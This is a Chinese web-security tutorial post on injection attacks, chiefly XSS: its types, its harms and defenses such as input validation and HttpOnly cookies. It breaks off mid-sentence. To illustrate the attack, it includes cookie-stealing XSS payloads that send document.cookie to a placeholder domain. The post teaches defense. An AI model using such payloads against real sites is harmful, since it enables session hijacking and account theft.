专题(1)注入攻击"/>
web安全专题(1)注入攻击
注入攻击
对于所有的网络安全问题,从公司的发文来看,结合目前业界发现的所有对网站的攻击方式,基本都可以归类于这三类:
1、防注入;
2、防破解;
3、防范洪;
第一类、注入攻击是最常见的一种攻击,涉及的方式也有很多,例如比较常见的有,脚本注入,sql注入,日志注入,xss等。
第二类、对于破解这一块,主要是加解密,秘钥存储等安全,防破解,防秘钥盗用,
第三类、范洪攻击,也就是ddos攻击,各细分种类也很多,例如cc攻击,资源耗尽攻击等等,
这三大类常见的网络安全问题我将用三期结合公司的安全红线来进行分享,这一期就将第一类常见的网络攻击,注入攻击,常见的注入攻击
有以下几类:
- xss
- sql注入
- 日志注入
- 命令注入
- CRLF注入
一、xss
1、本质
xss叫跨站脚本攻击,为什么这里会分到注入这一模块呢,因为xss本质就是html注入,用户通过输入一些恶意的脚本代码,然后该用户输入的代码被网站当做html代码来执行,混淆了原来的语义,产生新的语义,从而导致了危害的发生。
2、危害
- 窃取用户信息,模拟用户身份执行操作,获取用户的 Cookie,获取敏感数据
- 植入flash,通过corssdomain权限设置进一步获取更高权限,
- 利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻击者)用户的身份执行一些管理动作,或执行一些例如发微博,加好友发私信等常规操作
- 利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的
投票活动。 - 在访问量极大的一些页面上的XSS可以攻击一些小型网站,实现DDoS攻击的效果
3、类型
1、存储型
恶意脚本被存储在服务器端,当用户访问该网站时,该代码就会被执行
2、反射性
反射型只是简单的把用户的输入反馈给浏览器,让浏览器执行用户的输入,当然这个用户可能输入一些恶意代码,或者被黑客诱导输入恶意代码
**例如:**将恶意脚本代码加入URL地址的请求参数里,请求参数进入程序后在页面直接输出,用户点击恶意链接就可能受到攻击。
3、DOM型
将脚本代码加入URL地址的请求参数里,通过修改页面的DOM节点来形成XSS,其实和反射型XSS是同一类
4、原理
例如有一个论坛网站,攻击者可以在上面发布以下内容:
<script>location.href="//domain/?c=" + document.cookie</script>
之后该内容可能会被渲染成以下形式:
<p><script>location.href="//domain/?c=" + document.cookie</script></p>
另一个用户浏览了含有这个内容的页面将会跳转到 domain 并携带了当前作用域的 Cookie。如果这个论坛网站通过 Cookie 管理用户登录状态,那么攻击者就可以通过这个 Cookie 登录被攻击者的账号了。
存储型XSS
Web应用未对用户提交请求的数据做充分的检查过滤,允许用户在提交的数据中掺入HTML代码(最主要的是“<”、">")然后存储到数据库中,当其他人在访问该网站,访问该数据时,例如上个用户提交了携带HTML代码的评论,其他人在访问该评论时,网站将未经转义的恶意代码输出到第三方用户的浏览器解释执行,这就可能导致了XSS攻击。
反射型XSS
举个例子:
接下来以反射性XSS举例说明XSS的过程:现在有一个网站,根据参数输出用户的名称,例如访问url:
http://127.0.0.1/?name=astaxie,就会在浏览器输出如下信息:
hello astaxie
如果我们传递这样的url:http://127.0.0.1/?name=<script>alert(‘astaxie,xss’)</script>,
这时你就会发现浏览器跳出一个弹出框,这说明站点已经存在了XSS漏洞。那么恶意用户是如何盗取Cookie的呢?与上类似,如下这样的url:
http://127.0.0.1/name=<script>document.location.href=‘?’+document.cookie</script>,这样就可以把当前的cookie发送到指定的站点:www.xxx。你也许会说,这样的URL一看就有问题,怎么会有人点击?,是的,这类的URL会让人怀疑,但如果使用短网址服务将之缩短,你还看得出来么?,攻击者将缩短过后的url通过某些途径传播开来,不明真相的用户一旦点击了这样的url,相应cookie数据就会被发送事先设定好的站点,这样子就盗得了用户的cookie信息,然后就可以利用Websleuth之类的工具来检查是否能盗取那个用户的账户。
DOM型XSS
通过修改页面的DOM节点形成XSS,称之为DOM Based XSS。
5、防范手段
xss防范手段有很多,但对于所有注入攻击的最底线的防范手段就是输入校验,坚决不要相信用户的任何输入,并过滤掉输入中的所有特殊字符。这样就能消灭绝大部分的XSS攻击。
1. 设置 Cookie 为 HttpOnly
设置了 HttpOnly 的 Cookie 可以防止 JavaScript 脚本调用,就无法通过 doc
更多推荐
web安全专题(1)注入攻击
发布评论